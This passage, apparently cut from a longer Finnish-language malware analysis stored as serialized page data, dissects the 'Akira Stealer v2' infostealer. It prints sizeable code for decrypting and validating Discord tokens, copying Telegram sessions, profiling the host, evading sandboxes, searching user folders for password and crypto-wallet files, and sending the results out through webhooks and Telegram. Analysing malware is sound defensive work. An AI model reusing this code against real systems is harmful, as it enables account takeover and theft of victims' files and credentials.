AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[551,8895,8896,8901,8906,8911,8916],{"__ignoreMap":594},[1691,8897,8898],{"class":1693,"line":1694},[1691,8899,8900],{},"def decrypt\\_value(buff, master\\_key):\n",[1691,8902,8903],{"class":1693,"line":2070},[1691,8904,8905],{},"iv = buff\\[3:15]\n",[1691,8907,8908],{"class":1693,"line":2076},[1691,8909,8910],{},"payload = buff\\[15:]\n",[1691,8912,8913],{"class":1693,"line":2082},[1691,8914,8915],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1691,8917,8918],{"class":1693,"line":2406},[1691,8919,8920],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[870,8922,8924],{"id":8923},"_793-tokenien-validointi-ja-exfiltraatio","7.9.3 Tokenien validointi ja exfiltraatio",[533,8926,876],{},[533,8928,8929],{},"Jokainen poimittu token validoidaan live-API-kutsulla:",[588,8931,8934],{"className":8932,"code":8933,"language":593},[591],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[551,8935,8933],{"__ignoreMap":594},[604,8937,8938],{},[607,8939,8940,2036,8943,8946,8947,8950,8951],{},[540,8941,8942],{},"Onnistuessaan",[551,8944,8945],{},"cehckToken()"," määrittää, lähetetäänkö Telegramin (",[551,8948,8949],{},"useTg=True",") vai Discord-webhookin kautta:",[588,8952,8954],{"className":4503,"code":8953,"language":4505,"meta":594,"style":594},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[551,8955,8956,8961,8966,8971],{"__ignoreMap":594},[1691,8957,8958],{"class":1693,"line":1694},[1691,8959,8960],{},"if useTg:\n",[1691,8962,8963],{"class":1693,"line":2070},[1691,8964,8965],{},"self.sendTokenTg(token)\n",[1691,8967,8968],{"class":1693,"line":2076},[1691,8969,8970],{},"else:\n",[1691,8972,8973],{"class":1693,"line":2082},[1691,8974,8975],{},"self.send\\_embed(token)\n",[604,8977,8978],{},[607,8979,8980,8985],{},[540,8981,8982],{},[551,8983,8984],{},"send_embed"," rakentaa rikkaan Discord-embedin, joka sisältää käyttäjän metatiedot (käyttäjätunnus, discriminator, sähköposti, Nitro-status, laskutustiedot) käyttäen kenttiä lähteestä",[588,8987,8990],{"className":8988,"code":8989,"language":593},[591],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[551,8991,8989],{"__ignoreMap":594},[604,8993,8994],{},[607,8995,8996,9001],{},[540,8997,8998],{},[551,8999,9000],{},"sendTokenTg"," lähettää selkokielisen yhteenvedon Telegram-API:n kautta.",[870,9003,9005],{"id":9004},"_794-telegram-istuntojen-haravointi","7.9.4 Telegram-istuntojen haravointi",[533,9007,876],{},[533,9009,9010],{},"Discord-tokenien lisäksi stealer sieppaa Telegram Desktop -istunnot:",[588,9012,9014],{"className":4503,"code":9013,"language":4505,"meta":594,"style":594},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[551,9015,9016,9020,9025,9030,9035],{"__ignoreMap":594},[1691,9017,9018],{"class":1693,"line":1694},[1691,9019,4989],{},[1691,9021,9022],{"class":1693,"line":2070},[1691,9023,9024],{},"def steal_telegram():\n",[1691,9026,9027],{"class":1693,"line":2076},[1691,9028,9029],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1691,9031,9032],{"class":1693,"line":2082},[1691,9033,9034],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1691,9036,9037],{"class":1693,"line":2406},[1691,9038,9039],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[604,9041,9042,9048,9057],{},[607,9043,9044,9047],{},[540,9045,9046],{},"Prosessin päättäminen",": Varmistaa, että tiedostolukot vapautetaan.",[607,9049,9050,9053,9054,9056],{},[540,9051,9052],{},"Rekursiivinen kopiointi",": Varastaa ",[551,9055,8288],{},"-kansion, mukaan lukien käyttäjäistunnot, kontaktit ja välimuistiin tallennetut viestit.",[607,9058,9059,9061,9062,9065],{},[540,9060,1345],{},": Varastettu kansio zipataan ja ladataan ",[551,9063,9064],{},"sendFilesTG()","-funktiolla, ja latauslinkki upotetaan Telegram-viestiin.",[533,9067,9068,9069,9071],{},"Akira Stealerin ",[551,9070,8536],{},"-moduuli yhdistää regex-pohjaisen kaapimisen, DPAPI-tuetun AES-GCM-salauksenpurun, live-API-validoinnin ja moniprotokolla-exfiltraation (webhook + Telegram) tarjoten saumattoman tilin haltuunottokyvyn sekä Discord- että Telegram-alustoilla.",[721,9073,9075],{"id":9074},"_710-järjestelmän-profilointi","7.10 Järjestelmän profilointi",[533,9077,727],{},[533,9079,9080,9081,9084],{},"Akira Stealer v2 sisältää laajan järjestelmän profilointivaiheen, jossa kerätään isäntäkoneen metatiedot, ympäristöattribuutit ja verkkotiedot. Nämä tiedot kootaan ",[551,9082,9083],{},"Data","-luokkaan ja paketoidaan myöhemmin exfiltroitujen tunnistetietojen kanssa. Alla pilkomme profilointilogiikan osiin suorin koodiviittauksin.",[870,9086,9088,9089,9091],{"id":9087},"_7101-data-luokan-alustus","7.10.1 ",[551,9090,9083],{},"-luokan alustus",[533,9093,876],{},[533,9095,9096,9097,9099],{},"Käynnistyksessä luodaan ",[551,9098,9083],{},"-instanssi:",[588,9101,9103],{"className":4503,"code":9102,"language":4505,"meta":594,"style":594},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[551,9104,9105,9110,9115,9120,9125,9130,9135,9140,9145,9150],{"__ignoreMap":594},[1691,9106,9107],{"class":1693,"line":1694},[1691,9108,9109],{},"class Data:\n",[1691,9111,9112],{"class":1693,"line":2070},[1691,9113,9114],{},"    def __init__(self):\n",[1691,9116,9117],{"class":1693,"line":2076},[1691,9118,9119],{},"        self.username = os.getlogin()\n",[1691,9121,9122],{"class":1693,"line":2082},[1691,9123,9124],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1691,9126,9127],{"class":1693,"line":2406},[1691,9128,9129],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1691,9131,9132],{"class":1693,"line":2412},[1691,9133,9134],{},"        ...\n",[1691,9136,9137],{"class":1693,"line":3070},[1691,9138,9139],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1691,9141,9142],{"class":1693,"line":3866},[1691,9143,9144],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1691,9146,9147],{"class":1693,"line":3872},[1691,9148,9149],{},"        self.country = ipdata.get(\"country\")\n",[1691,9151,9152],{"class":1693,"line":4118},[1691,9153,9154],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[604,9156,9157,9170],{},[607,9158,9159,9162,9163,1264,9166,9169],{},[540,9160,9161],{},"Käyttäjätunnus ja hostname:"," Haetaan funktiolla ",[551,9164,9165],{},"os.getlogin()",[551,9167,9168],{},"COMPUTERNAME","-ympäristömuuttujalla.",[607,9171,9172,9175,9176,9179,9180,9182],{},[540,9173,9174],{},"IP-osoite:"," Haetaan kutsulla ",[551,9177,9178],{},"requests.get(\"https://api.ipify.org\")"," ja paikannetaan sitten ",[551,9181,5335],{},"-palvelun kautta maan ja ISO-koodin selvittämiseksi.",[870,9184,9186],{"id":9185},"_7102-käyttöjärjestelmän-ja-laitteiston-luettelointi","7.10.2 Käyttöjärjestelmän ja laitteiston luettelointi",[533,9188,876],{},[533,9190,9191],{},"Windows Management Instrumentation (WMI) -komentoja käyttäen:",[588,9193,9195],{"className":4503,"code":9194,"language":4505,"meta":594,"style":594},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[551,9196,9197,9202,9207,9212,9217,9222,9227,9232,9237,9242,9247,9252],{"__ignoreMap":594},[1691,9198,9199],{"class":1693,"line":1694},[1691,9200,9201],{},"# Operating System\n",[1691,9203,9204],{"class":1693,"line":2070},[1691,9205,9206],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1691,9208,9209],{"class":1693,"line":2076},[1691,9210,9211],{},"# Total Physical Memory\n",[1691,9213,9214],{"class":1693,"line":2082},[1691,9215,9216],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1691,9218,9219],{"class":1693,"line":2406},[1691,9220,9221],{},"# BIOS UUID\n",[1691,9223,9224],{"class":1693,"line":2412},[1691,9225,9226],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1691,9228,9229],{"class":1693,"line":3070},[1691,9230,9231],{},"# CPU Identifier\n",[1691,9233,9234],{"class":1693,"line":3866},[1691,9235,9236],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1691,9238,9239],{"class":1693,"line":3872},[1691,9240,9241],{},"# GPU Name\n",[1691,9243,9244],{"class":1693,"line":4118},[1691,9245,9246],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1691,9248,9249],{"class":1693,"line":5037},[1691,9250,9251],{},"# Windows Product Key\n",[1691,9253,9254],{"class":1693,"line":5043},[1691,9255,9256],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[533,9258,9259,9260,9263],{},"Tulokset jäsennetään ihmisluettaviksi merkkijonoiksi (",[551,9261,9262],{},"strip()",", indeksointioperaatiot) ja yhdistetään muotoon:",[588,9265,9267],{"className":4503,"code":9266,"language":4505,"meta":594,"style":594},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[551,9268,9269,9274,9279,9284,9289,9294,9299],{"__ignoreMap":594},[1691,9270,9271],{"class":1693,"line":1694},[1691,9272,9273],{},"self.system_info = (\n",[1691,9275,9276],{"class":1693,"line":2070},[1691,9277,9278],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1691,9280,9281],{"class":1693,"line":2076},[1691,9282,9283],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1691,9285,9286],{"class":1693,"line":2082},[1691,9287,9288],{},"    f\"CPU: {self.cpu}\\n\"\n",[1691,9290,9291],{"class":1693,"line":2406},[1691,9292,9293],{},"    f\"GPU: {self.gpu}\\n\"\n",[1691,9295,9296],{"class":1693,"line":2412},[1691,9297,9298],{},"    f\"Product Key: {self.productKey}\"\n",[1691,9300,9301],{"class":1693,"line":3070},[1691,9302,5256],{},[870,9304,9306],{"id":9305},"_7103-vm-havaitseminen-ja-anti-sandbox-tarkistukset","7.10.3 VM-havaitseminen ja anti-sandbox-tarkistukset",[533,9308,876],{},[533,9310,9311,9312,9314],{},"Ennen syvää profilointia haittaohjelma kutsuu ",[551,9313,4675],{},"-funktiota havaitakseen virtualisointi- tai analyysiympäristöt:",[588,9316,9318],{"className":4503,"code":9317,"language":4505,"meta":594,"style":594},"if VmProtect.isVM(1):\n    sys.exit()\n",[551,9319,9320,9325],{"__ignoreMap":594},[1691,9321,9322],{"class":1693,"line":1694},[1691,9323,9324],{},"if VmProtect.isVM(1):\n",[1691,9326,9327],{"class":1693,"line":2070},[1691,9328,9329],{},"    sys.exit()\n",[533,9331,9332],{},"Keskeisiä tarkistuksia ovat:",[604,9334,9335,9341,9347,9353],{},[607,9336,9337,9340],{},[540,9338,9339],{},"Rekisteriavaimet ja ajurikuvaukset",": Tekee kyselyjä virtualisointiin liittyviin rekisterimerkintöihin.",[607,9342,9343,9346],{},[540,9344,9345],{},"Estolistalla olevat UUID:t ja tietokoneiden nimet",": Vertaa tunnettuihin VM-sormenjälkiin.",[607,9348,9349,9352],{},[540,9350,9351],{},"HTTP-simulaatio",": Yrittää muodostaa yhteyden olemattomaan verkkotunnukseen HTTPS:n yli.",[607,9354,9355,9358,9359,620,9362,620,9365,699],{},[540,9356,9357],{},"Prosessien estolista",": Käynnistää taustasäikeen tappaakseen työkaluja kuten ",[551,9360,9361],{},"wireshark",[551,9363,9364],{},"ollydbg",[551,9366,9367],{},"ida64",[870,9369,9371],{"id":9370},"_7104-paketointi-ja-lähetys","7.10.4 Paketointi ja lähetys",[533,9373,876],{},[533,9375,9376,9377,9380],{},"Kerätty ",[551,9378,9379],{},"system_info",", IP ja maalippu upotetaan webhook-payloadin otsikoihin:",[588,9382,9384],{"className":4503,"code":9383,"language":4505,"meta":594,"style":594},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[551,9385,9386,9391,9396,9401,9406,9411,9416,9420],{"__ignoreMap":594},[1691,9387,9388],{"class":1693,"line":1694},[1691,9389,9390],{},"webhook_payload = {\n",[1691,9392,9393],{"class":1693,"line":2070},[1691,9394,9395],{},"    \"embeds\": [{\n",[1691,9397,9398],{"class":1693,"line":2076},[1691,9399,9400],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1691,9402,9403],{"class":1693,"line":2082},[1691,9404,9405],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1691,9407,9408],{"class":1693,"line":2406},[1691,9409,9410],{},"        \"fields\": [...]\n",[1691,9412,9413],{"class":1693,"line":2412},[1691,9414,9415],{},"    }]\n",[1691,9417,9418],{"class":1693,"line":3070},[1691,9419,2415],{},[1691,9421,9422],{"class":1693,"line":3866},[1691,9423,9424],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[604,9426,9427,9433],{},[607,9428,9429,9432],{},[540,9430,9431],{},"Lippu-emoji",": Johdetaan ISO-maakoodista.",[607,9434,9435,9438],{},[540,9436,9437],{},"Kentät",": Sisältävät varastettujen salasanojen, evästeiden jne. lukumäärät, mutta järjestelmätiedot ovat embedin kuvauksessa välitöntä kontekstia varten.",[533,9440,9441,9444],{},[540,9442,9443],{},"Yhteenveto:","\nJärjestelmän profilointi Akira Stealer v2:ssa kerää kattavat isäntäkone- ja verkkotiedot WMI-komennoilla, ympäristömuuttujilla ja IP-paikannuksella. Yhdistettynä VM-havaitsemiseen ja työkalujen tappamisrutiineihin tämä varmistaa, että hyökkääjällä on täysi tilannekuva vaarannetusta ympäristöstä, mikä tehostaa kohdennettuja jatkotoimia ja suodattaa pois analyysisandboxit.",[721,9446,9448,9449,1122],{"id":9447},"_711-tiedostojen-sieppaaja-luokka-utilssteal_files","7.11 Tiedostojen sieppaaja (luokka: ",[551,9450,9451],{},"Utils.steal_files",[533,9453,727],{},[533,9455,9456],{},"Selaindatan ja tokenien lisäksi Akira yrittää poimia myös arvokasta käyttäjän luomaa sisältöä—kuten asiakirjoja, taulukoita, yksityisiä muistiinpanoja ja kryptografisia avaintiedostoja. Tiedostojen sieppaaja -moduuli vastaa tästä tehtävästä. Se toimii skannaamalla arvokkaita hakemistoja yleisten tiedostotyyppien ja kuvioiden varalta ja lisäämällä ne sitten hiljaa exfiltraatiopakettiin. Tämän moduulin tekee erityisen vaaralliseksi sen yksinkertaisuus ja fokus: se ei yritä käydä läpi koko tiedostojärjestelmää. Sen sijaan se kohdistuu tiettyihin, todennäköisiin sijainteihin, joihin arkaluonteiset tiedostot tyypillisesti tallennetaan. Näitä ovat Desktop-, Documents-, Downloads- ja OneDrive-hakemistot—kukin suhteessa käyttäjän kotipolkuun. Tämä kohdennettu lähestymistapa parantaa sekä nopeutta että huomaamattomuutta ja vähentää havaitsemisen todennäköisyyttä skannauksen aikana. Se välttää myös käyttäjän hälyttämisen jättämällä järjestelmä- tai suojatut hakemistot koskematta. Kun kiinnostavat tiedostot on paikannettu, ne kopioidaan väliaikaiseen kansioon, mahdollisesti nimetään uudelleen tai ryhmitellään ja pakataan myöhemmin lopulliseen ZIP-arkistoon, joka ladataan exfiltraatiovaiheessa.",[870,9458,9460],{"id":9459},"_7111-kohdehakemistojen-luettelointi","7.11.1 Kohdehakemistojen luettelointi",[533,9462,876],{},[533,9464,9465],{},"Stealer keskittyy neljään erittäin tuottoisaan kansioon:",[588,9467,9469],{"className":4503,"code":9468,"language":4505,"meta":594,"style":594},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[551,9470,9471,9476,9481,9486,9491,9496],{"__ignoreMap":594},[1691,9472,9473],{"class":1693,"line":1694},[1691,9474,9475],{},"searchFolders = [\n",[1691,9477,9478],{"class":1693,"line":2070},[1691,9479,9480],{},"    \"Desktop\",\n",[1691,9482,9483],{"class":1693,"line":2076},[1691,9484,9485],{},"    \"Documents\",\n",[1691,9487,9488],{"class":1693,"line":2082},[1691,9489,9490],{},"    \"Downloads\",\n",[1691,9492,9493],{"class":1693,"line":2406},[1691,9494,9495],{},"    \"OneDrive\"\n",[1691,9497,9498],{"class":1693,"line":2412},[1691,9499,7937],{},[533,9501,9502],{},"Kukin kansio tulkitaan suhteessa uhrin kotihakemistoon:",[588,9504,9506],{"className":4503,"code":9505,"language":4505,"meta":594,"style":594},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[551,9507,9508,9513,9518,9523],{"__ignoreMap":594},[1691,9509,9510],{"class":1693,"line":1694},[1691,9511,9512],{},"for folder in searchFolders:\n",[1691,9514,9515],{"class":1693,"line":2070},[1691,9516,9517],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1691,9519,9520],{"class":1693,"line":2076},[1691,9521,9522],{},"    if os.path.exists(current_path):\n",[1691,9524,9525],{"class":1693,"line":2082},[1691,9526,9527],{},"        # proceed to scan\n",[870,9529,9531],{"id":9530},"_7112-avainsanojen-ja-tiedostopäätteiden-suodatus","7.11.2 Avainsanojen ja tiedostopäätteiden suodatus",[533,9533,876],{},[533,9535,9536],{},[540,9537,9538],{},"Avainsanalista",[533,9540,9541],{},"Ennalta määritelty joukko osamerkkijonoja ohjaa tiedostojen valintaa. Vain tiedostonimet, jotka sisältävät vähintään yhden avainsanan, otetaan huomioon:",[588,9543,9545],{"className":4503,"code":9544,"language":4505,"meta":594,"style":594},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[551,9546,9547,9552,9557,9562],{"__ignoreMap":594},[1691,9548,9549],{"class":1693,"line":1694},[1691,9550,9551],{},"keywordsFiles = [\n",[1691,9553,9554],{"class":1693,"line":2070},[1691,9555,9556],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1691,9558,9559],{"class":1693,"line":2076},[1691,9560,9561],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1691,9563,9564],{"class":1693,"line":2082},[1691,9565,7937],{},[604,9567,9568,9585],{},[607,9569,9570,9573,9574,9577,9578,558,9581,9584],{},[540,9571,9572],{},"Osittaiset osumat",": Avainsanat kuten ",[551,9575,9576],{},"passw"," kaappaavat sekä ",[551,9579,9580],{},"passwords.txt",[551,9582,9583],{},"passw_backup.docx","-tiedostot.",[607,9586,9587,9590],{},[540,9588,9589],{},"Laaja kattavuus",": Kattaa todennukseen, lompakkoon, kryptoon ja tokeneihin liittyvät termit.",[870,9592,9594],{"id":9593},"_7113-sallitut-tiedostotyypit","7.11.3 Sallitut tiedostotyypit",[533,9596,876],{},[533,9598,9599],{},"Kohinan minimoimiseksi käytössä on tiedostopäätteiden sallittujen lista:",[588,9601,9603],{"className":4503,"code":9602,"language":4505,"meta":594,"style":594},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[551,9604,9605,9610,9615,9620],{"__ignoreMap":594},[1691,9606,9607],{"class":1693,"line":1694},[1691,9608,9609],{},"allowed_extensions = [\n",[1691,9611,9612],{"class":1693,"line":2070},[1691,9613,9614],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1691,9616,9617],{"class":1693,"line":2076},[1691,9618,9619],{},"    \".jpg\", \".png\"\n",[1691,9621,9622],{"class":1693,"line":2082},[1691,9623,7937],{},[870,9625,9627],{"id":9626},"_7113-kokorajoitus","7.11.3 Kokorajoitus",[533,9629,876],{},[533,9631,9632],{},"Yli 2 megatavun tiedostot ohitetaan exfiltraationopeuden optimoimiseksi ja suurten siirtojen välttämiseksi:",[588,9634,9636],{"className":4503,"code":9635,"language":4505,"meta":594,"style":594},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[551,9637,9638,9643,9648],{"__ignoreMap":594},[1691,9639,9640],{"class":1693,"line":1694},[1691,9641,9642],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1691,9644,9645],{"class":1693,"line":2070},[1691,9646,9647],{},"if file_size_mb \u003C= 2:\n",[1691,9649,9650],{"class":1693,"line":2076},[1691,9651,9652],{},"    # eligible for copy\n",[870,9654,9656],{"id":9655},"_7114-rekursiivinen-skannaus-ja-kopiointilogiikka","7.11.4 Rekursiivinen skannaus ja kopiointilogiikka",[533,9658,876],{},[533,9660,9661],{},"Kun arvokkaat hakemistot on tunnistettu, Akira käynnistää rekursiivisen skannausrutiinin käydäkseen läpi alikansiot ja paikantaakseen tiettyjä avainsanoja ja tiedostopäätteitä vastaavat tiedostot. Tämä vaihe on rakennettu tarkkuutta ja huomaamattomuutta varten: vain tiedostot, jotka täyttävät ennalta määritellyt kriteerit—kuten arkaluonteisia avainsanoja sisältävät tiedostonimet ja hyväksytyt tiedostotyypit—otetaan huomioon. Logiikka varmistaa, että vain merkityksellinen, käyttäjän luoma sisältö exfiltroidaan. Se ohittaa järjestelmätiedostot, välimuistit ja binäärit ja rajoittaa yksittäisen tiedoston koon 2 megatavuun latauskoon ja havaitsemisriskin pienentämiseksi. Tämä skannausmenetelmä on hiljainen, tehokas ja optimoitu huomaamattomaan tietovarkauteen todellisissa ympäristöissä. Kopioimalla vastaavat tiedostot vaiheistuskansioon ja ylläpitämällä listaa siitä, mitä otettiin, Akira valmistelee sisällön niputukseen ja exfiltraatioon—minimoiden samalla kaksoiskappaleet ja operatiivisen kohinan.",[533,9663,9664,9665,9668],{},"Ydinrutiini ",[551,9666,9667],{},"steal_files()"," toimii seuraavasti:",[588,9670,9672],{"className":4503,"code":9671,"language":4505,"meta":594,"style":594},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[551,9673,9674,9678,9683,9688,9693,9697,9702,9707,9712,9717,9722,9727,9732,9737,9742,9747,9752,9757,9762,9767,9772,9777],{"__ignoreMap":594},[1691,9675,9676],{"class":1693,"line":1694},[1691,9677,4989],{},[1691,9679,9680],{"class":1693,"line":2070},[1691,9681,9682],{},"def steal_files():\n",[1691,9684,9685],{"class":1693,"line":2076},[1691,9686,9687],{},"    stolen_files = set()\n",[1691,9689,9690],{"class":1693,"line":2082},[1691,9691,9692],{},"    temp_folder = Utils.get_temp_folder()\n",[1691,9694,9695],{"class":1693,"line":2406},[1691,9696,3863],{"emptyLinePlaceholder":325},[1691,9698,9699],{"class":1693,"line":2412},[1691,9700,9701],{},"    for folder in searchFolders:\n",[1691,9703,9704],{"class":1693,"line":3070},[1691,9705,9706],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1691,9708,9709],{"class":1693,"line":3866},[1691,9710,9711],{},"        if os.path.exists(current_path):\n",[1691,9713,9714],{"class":1693,"line":3872},[1691,9715,9716],{},"            for root, _, files in os.walk(current_path):\n",[1691,9718,9719],{"class":1693,"line":4118},[1691,9720,9721],{},"                for file in files:\n",[1691,9723,9724],{"class":1693,"line":5037},[1691,9725,9726],{},"                    lower = file.lower()\n",[1691,9728,9729],{"class":1693,"line":5043},[1691,9730,9731],{},"                    # Keyword check\n",[1691,9733,9734],{"class":1693,"line":5049},[1691,9735,9736],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1691,9738,9739],{"class":1693,"line":5055},[1691,9740,9741],{},"                        ext = os.path.splitext(lower)[1]\n",[1691,9743,9744],{"class":1693,"line":5061},[1691,9745,9746],{},"                        # Extension and size check\n",[1691,9748,9749],{"class":1693,"line":5067},[1691,9750,9751],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1691,9753,9754],{"class":1693,"line":5073},[1691,9755,9756],{},"                            # Prepare destination\n",[1691,9758,9759],{"class":1693,"line":5079},[1691,9760,9761],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1691,9763,9764],{"class":1693,"line":5085},[1691,9765,9766],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1691,9768,9769],{"class":1693,"line":5091},[1691,9770,9771],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1691,9773,9774],{"class":1693,"line":5097},[1691,9775,9776],{},"                            stolen_files.add(file)\n",[1691,9778,9779],{"class":1693,"line":5103},[1691,9780,9781],{},"    data.stolen_files.extend(stolen_files)\n",[533,9783,9784],{},[540,9785,9786],{},"Keskeiset kohdat:",[711,9788,9789,9797,9806,9815,9821],{},[607,9790,9791,9796],{},[540,9792,9793],{},[551,9794,9795],{},"os.walk",": Laskeutuu rekursiivisesti alihakemistoihin.",[607,9798,9799,9802,9803,699],{},[540,9800,9801],{},"Kirjainkoosta riippumaton osuma",": Tiedostonimet normalisoidaan funktiolla ",[551,9804,9805],{},"lower()",[607,9807,9808,9811,9812,9814],{},[540,9809,9810],{},"Atominen kopiointi",": Käyttää funktiota ",[551,9813,7803],{}," tiedostosisällön säilyttämiseen.",[607,9816,9817,9820],{},[540,9818,9819],{},"Varastettujen tiedostonimien joukko",": Estää kaksoiskappaleet, kun sama tiedosto esiintyy kahdesti.",[607,9822,9823,981,9829,9832],{},[540,9824,9825,9826,9828],{},"Integraatio ",[551,9827,9083],{},"-luokkaan",[551,9830,9831],{},"data.stolen_files"," kerää varastettujen tiedostojen listan myöhempää raportointia varten.",[870,9834,9836],{"id":9835},"_7115-arkistointi-ja-exfiltraatio","7.11.5 Arkistointi ja exfiltraatio",[533,9838,876],{},[533,9840,9841,9842,9845],{},"Keräämisen jälkeen ",[551,9843,9844],{},"Files","-kansio zipataan ja lähetetään:",[588,9847,9849],{"className":4503,"code":9848,"language":4505,"meta":594,"style":594},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[551,9850,9851,9856,9861,9865,9870,9875],{"__ignoreMap":594},[1691,9852,9853],{"class":1693,"line":1694},[1691,9854,9855],{},"# Archive\n",[1691,9857,9858],{"class":1693,"line":2070},[1691,9859,9860],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1691,9862,9863],{"class":1693,"line":2076},[1691,9864,3863],{"emptyLinePlaceholder":325},[1691,9866,9867],{"class":1693,"line":2082},[1691,9868,9869],{},"# Upload & Notify\n",[1691,9871,9872],{"class":1693,"line":2406},[1691,9873,9874],{},"akira.sendFilesTG(Utils.get_temp_folder(), 